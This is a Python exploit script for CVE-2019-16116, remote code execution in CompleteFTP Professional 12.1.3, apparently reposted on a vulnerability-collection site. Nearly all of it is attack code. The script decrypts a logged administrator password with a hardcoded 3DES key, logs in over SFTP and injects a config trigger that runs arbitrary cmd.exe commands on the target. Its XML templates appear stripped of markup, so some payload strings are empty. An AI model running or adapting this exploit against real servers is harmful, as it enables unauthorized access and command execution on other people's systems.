CVE-2019-16116_CompleteFTP_Professional_12.1.3_遠程代碼執行漏洞

# CVE-2019-16116 CompleteFTP Professional 12.1.3 遠程代碼執行漏洞
==EXP==

# Exploit Title: CompleteFTP Professional 12.1.3 - Remote Code Execution
# Date: 2020-03-11
# Exploit Author: 1F98D
# Original Author: Rhino Security Labs
# Vendor Homepage: https://enterprisedt.com/products/completeftp/
# Version: CompleteFTP Professional
# Tested on: Windows 10 (x64)
# CVE: CVE‑2019‑16116
# References:
# https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/
# https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116
#
# CompleteFTP before 12.1.3 logs an obscured administrator password to a file
# during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log)
# if CompleteFTP is configured to permit remote administration (over port 14983) it
# is possible to obtain remote code execution through the administration interface
#
# This script requires the following python modules are installed
# pip install paramiko pycryptodome uuid
# 
#!/usr/local/bin/python3

from paramiko.sftp import CMD_EXTENDED
from base64 import b64encode, b64decode
from Crypto.Util.Padding import unpad
from Crypto.Cipher import DES3
import xml.etree.ElementTree as ET
import paramiko
import struct
import uuid
import sys

# region get_server_info
get_server_info = """






""".strip()
# endregion

# region update_config
update_config = """







{XMLSCHEMA}
{XMLDIFFGRAM}


<_Major>2
<_Minor>0
<_Build>-1
<_Revision>-1



""".strip()
# endregion

# region xml_schema
xml_schema = """


  
    
      
        
          
            
              
              
                
                  
                    
                  
                
              
              
                
                  
                    
                  
                
              
              
              
              
              
              
              
              
                
                  
                    
                  
                
              
              
              
              
              
            
          
        
        
          
          
        
        
          
          
        
        
          
          
        
        
          
          
        
        
          
          
        
        
          
          
        
        
          
          
        
        
          
          
        
      
    
    
      
      
    
  

""".replace("<", "<").replace(">", ">").replace('"', """).strip()
# endregion

# region xml_diffgram
xml_diffgram = """

  
    
      88428040-73b3-4497-9b6d-69af2f1cc3c7
      Process Execution
      EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger
      2
      {CONFIGURATION}
      2020-03-10T18:33:41.107+08:00
      2020-03-10T10:52:00.7496654+08:00
      false
      true
      {ID}
    
    
      2
      Event
      2009-06-29T11:48:00+08:00
      2009-06-29T11:48:00+08:00
    
    
      
      3
      2020-03-10T10:50:44.4209655+08:00
      2020-03-10T10:50:44.4209655+08:00
      true
    
  
  
    
      88428040-73b3-4497-9b6d-69af2f1cc3c7
      Process Execution
      EnterpriseDT.Net.FtpServer.Trigger.ProcessTrigger
      2
      
      2020-03-10T18:33:41.107+08:00
      2020-03-10T10:50:44.4209655+08:00
      false
      true
      
    
  

""".strip()
# endregion

# region config
config = """

    
        0
        10
        0
        0
        true
    
    
        1
        0
        trigger
        true
        0
        cmd.exe
        /c {CMD}
        *
        false
        true
        1
    
    
        1
        LogIn
    

""".strip()
# endregion

def prepare_update_config(uuid, cmd):
    config_payload = config
    config_payload = config_payload.replace('{CMD}', cmd)
    config_payload = config_payload.replace('<', '<')
    config_payload = config_payload.replace('>', '>')

    diffgram_payload = xml_diffgram
    diffgram_payload = diffgram_payload.replace('{CONFIGURATION}', config_payload)
    diffgram_payload = diffgram_payload.replace('{ID}', uuid)
    diffgram_payload = diffgram_payload.replace('&', '&')
    diffgram_payload = diffgram_payload.replace('<', '<')
    diffgram_payload = diffgram_payload.replace('>', '>')
    diffgram_payload = diffgram_payload.replace('"', '"')

    payload = update_config
    payload = payload.replace('{XMLSCHEMA}', xml_schema)
    payload = payload.replace('{XMLDIFFGRAM}', diffgram_payload)

    return payload

def send_request(sftp, payload):
    payload = b64encode(bytes(payload, 'utf-8')).decode('utf-8')
    res = sftp._request(CMD_EXTENDED, 'admin@enterprisedt.com', 'SOAP64 ' + payload)
    return res

def convert_changeset_id_to_uuid(changeset_id):
    a = struct.pack('i', int(changeset_id[0].text))  # 32
    b = struct.pack('h', int(changeset_id[1].text))  # 16
    c = struct.pack('h', int(changeset_id[2].text))  # 16
    d = struct.pack('B', int(changeset_id[3].text))  # 8
    e = struct.pack('B', int(changeset_id[4].text))  # 8
    f = struct.pack('B', int(changeset_id[5].text))  # 8
    g = struct.pack('B', int(changeset_id[6].text))  # 8
    h = struct.pack('B', int(changeset_id[7].text))  # 8
    i = struct.pack('B', int(changeset_id[8].text))  # 8
    j = struct.pack('B', int(changeset_id[9].text))  # 8
    k = struct.pack('B', int(changeset_id[10].text)) # 8

    x = a + b + c + d + e + f + g + h + i + j + k
    return uuid.UUID(bytes_le=x)

def get_uuid(sftp):
    res = send_request(sftp, get_server_info)
    if res[0] != 201:
        print('[!] Error could not request server info via SFTP')
        sys.exit(1)
    
    res = b64decode(res[1].get_string()).decode('utf-8')
    res = ET.fromstring(res)
    changeset_id = res.find('.//SyncChangeSetID')
    uuid = convert_changeset_id_to_uuid(changeset_id)
    return str(uuid)

def login(host, port, user, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(host, port, user, password, look_for_keys=False)
    return ssh.open_sftp()

def send_command(sftp, cmd):
    uuid = get_uuid(sftp)
    payload = prepare_update_config(uuid, cmd)
    res = send_request(sftp, payload)
    if res[0] != 201:
        print('[!] Error could not send update config request via SFTP')
        sys.exit(1)

def decrypt_password(password):
  key = b64decode('HKVV76GdVuzXne/zxtWvdjA2d2Am548E')
  iv = b64decode('gVGow/9uLvM=')
  encrypted = b64decode(password)
  cipher = DES3.new(key=key, iv=iv, mode=DES3.MODE_CBC)
  decrypted = cipher.decrypt(encrypted)
  return unpad(decrypted, 8).decode('utf-16')

if len(sys.argv) != 6:
    print('[!] Missing arguments')
    print('[ ] Usage: {}     '.format(sys.argv[0]))
    print("[ ] E.g. {} 192.168.1.128 14983 admin DEomw27OY7sYZs4XjYA2kVB4LEB5skN4 'whoami > C:\\x.txt'".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]
cmd = sys.argv[5]

print('[ ] Decrypting password')
password = decrypt_password(password)
print('[ ] Decrypted password is "{}"'.format(password))

print('[ ] Logging in')
sftp = login(target, port, username, password)

print('[ ] Sending command')
send_command(sftp, cmd)

print('[ ] Command successfully sent, triggering...')
sftp = login(target, port, username, password)
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容